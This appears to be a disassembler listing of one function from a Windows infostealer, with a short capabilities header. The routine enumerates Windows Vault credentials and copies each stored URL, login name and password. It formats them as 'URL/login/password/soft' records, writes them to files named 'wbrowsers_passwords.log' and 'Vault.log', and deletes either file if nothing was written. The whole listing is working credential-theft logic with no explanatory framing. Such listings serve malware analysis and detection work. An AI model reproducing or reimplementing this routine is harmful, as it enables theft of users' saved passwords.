Function at 0x45dcf0
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xec0]
sub esp, 0xf40
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0xebc], eax
push esi
xor esi, esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
call fcn.0045db54
test eax, eax
je 0x45e0e9
push edi
xor eax, eax
mov edi, 0x1fe
push edi
mov word [ebp + 0x9bc], ax
lea eax, [ebp + 0x9be]
push esi
push eax
call fcn.0055bfc0
xor eax, eax
push edi
mov word [ebp + 0xbbc], ax
lea eax, [ebp + 0xbbe]
push esi
push eax
call fcn.0055bfc0
xor eax, eax
push edi
mov word [ebp + 0x7bc], ax
lea eax, [ebp + 0x7be]
push esi
push eax
call fcn.0055bfc0
xor eax, eax
push 0x7fe
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push esi
push eax
call fcn.0055bfc0
xor eax, eax
push 0xfe
mov word [ebp + 0xdbc], ax
lea eax, [ebp + 0xdbe]
push esi
push eax
call fcn.0055bfc0
add esp, 0x3c
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
call dword [0x5e9a04]
test eax, eax
jne 0x45e0e8
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push esi
mov ebx, 0x80
push ebx
push 1
push esi
push esi
push 0x40000000
push str.wbrowsers_passwords.log
call edi
push esi
push ebx
push 1
push esi
push esi
push 0x40000000
push str.Vault.log
mov dword [ebp - 0x54], eax
call edi
mov dword [ebp - 0x74], eax
cmp eax, 0xffffffff
je 0x45e0d9
cmp dword [ebp - 0x54], 0xffffffff
je 0x45e0d9
mov dword [ebp - 0x5c], esi
cmp dword [ebp - 0x80], esi
jbe 0x45e0ab
mov dword [ebp - 0x70], esi
mov edi, 0x100
mov ecx, dword [ebp - 0x70]
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x6c]
push esi
add ecx, eax
push ecx
call dword [0x5e99fc]
test eax, eax
jne 0x45e098
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0x200
push dword [ebp - 0x68]
call dword [0x5e9a08]
test eax, eax
jne 0x45e08e
mov dword [ebp - 0x60], esi
cmp dword [ebp - 0x7c], esi
jbe 0x45e085
mov eax, dword [ebp - 0x78]
add eax, 0x10
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
push dword [eax + 0x10]
lea eax, [ebp + 0x9bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 8]
push dword [eax + 0x10]
lea eax, [ebp + 0xbbc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
cmp eax, esi
je 0x45de9a
push eax
jmp 0x45de9f
push 0x5df5f0
lea eax, [ebp + 0xdbc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x48]
push esi
push esi
mov dword [ebp - 0x58], esi
push dword [eax + 0x10]
add eax, 0xfffffff0
push dword [eax + 0x18]
push dword [eax + 0x14]
push eax
push dword [ebp - 0x68]
call dword [0x5e98f4]
test eax, eax
jne 0x45e072
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x1c], esi
je 0x45dfd3
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 0x10]
cmp eax, esi
je 0x45dfd3
push eax
lea eax, [ebp + 0x7bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp + 0x9bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x45df7e
lea eax, [ebp + 0xbbc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x45df7e
lea eax, [ebp + 0x7bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x45df7e
lea eax, [ebp + 0xdbc]
push eax
lea eax, [ebp + 0x7bc]
push eax
lea eax, [ebp + 0xbbc]
push eax
lea eax, [ebp + 0x9bc]
push eax
lea eax, [ebp - 0x44]
push str.URL:_ls_r_nlogin:_ls_r_npassword:_ls_r_nsoft:_ls_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
push esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x400
lea eax, [ebp - 0x44]
push esi
push eax
mov dword [ebp - 0x64], esi
call fcn.0055bfc0
push edi
lea eax, [ebp + 0x9bc]
push esi
push eax
call fcn.0055bfc0
push edi
lea eax, [ebp + 0x7bc]
push esi
push eax
call fcn.0055bfc0
push ebx
lea eax, [ebp + 0xdbc]
push esi
push eax
call fcn.0055bfc0
push edi
lea eax, [ebp + 0xbbc]
push esi
push eax
call fcn.0055bfc0
add esp, 0x3c
inc dword [ebp - 0x50]
jmp 0x45e069
lea eax, [ebp + 0xdbc]
push eax
lea eax, [ebp + 0xbbc]
push eax
lea eax, [ebp + 0x9bc]
push eax
lea eax, [ebp - 0x44]
push str.URL:_ls_r_nlogin:_ls_r_nsoft:_ls_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x400
lea eax, [ebp - 0x44]
push esi
push eax
mov dword [ebp - 0x64], esi
call fcn.0055bfc0
push edi
lea eax, [ebp + 0x9bc]
push esi
push eax
call fcn.0055bfc0
push ebx
lea eax, [ebp + 0xdbc]
push esi
push eax
call fcn.0055bfc0
push edi
lea eax, [ebp + 0xbbc]
push esi
push eax
call fcn.0055bfc0
push edi
lea eax, [ebp + 0x7bc]
push esi
push eax
call fcn.0055bfc0
add esp, 0x3c
inc dword [ebp - 0x4c]
push dword [ebp - 0x58]
call dword [0x5e9a0c]
inc dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
add dword [ebp - 0x48], 0x38
cmp eax, dword [ebp - 0x7c]
jb 0x45de62
push dword [ebp - 0x78]
call dword [0x5e9a0c]
lea eax, [ebp - 0x68]
push eax
call dword [0x5e9a00]
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0x70], 0x10
cmp eax, dword [ebp - 0x80]
jb 0x45de13
push dword [ebp - 0x54]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x74]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x50], esi
jne 0x45e0cd
push str.wbrowsers_passwords.log
call edi
cmp dword [ebp - 0x4c], esi
jne 0x45e0d9
push str.Vault.log
call edi
pop ebx
cmp dword [ebp - 0x6c], esi
je 0x45e0e8
push dword [ebp - 0x6c]
call dword [0x5e9a0c]
pop edi
mov ecx, dword [ebp + 0xebc]
mov eax, dword [ebp - 0x50]
add dword [0x5e9a3c], eax
mov edx, dword [ebp - 0x4c]
xor ecx, ebp
pop esi
call fcn.0055a67a
add ebp, 0xec0
leave
ret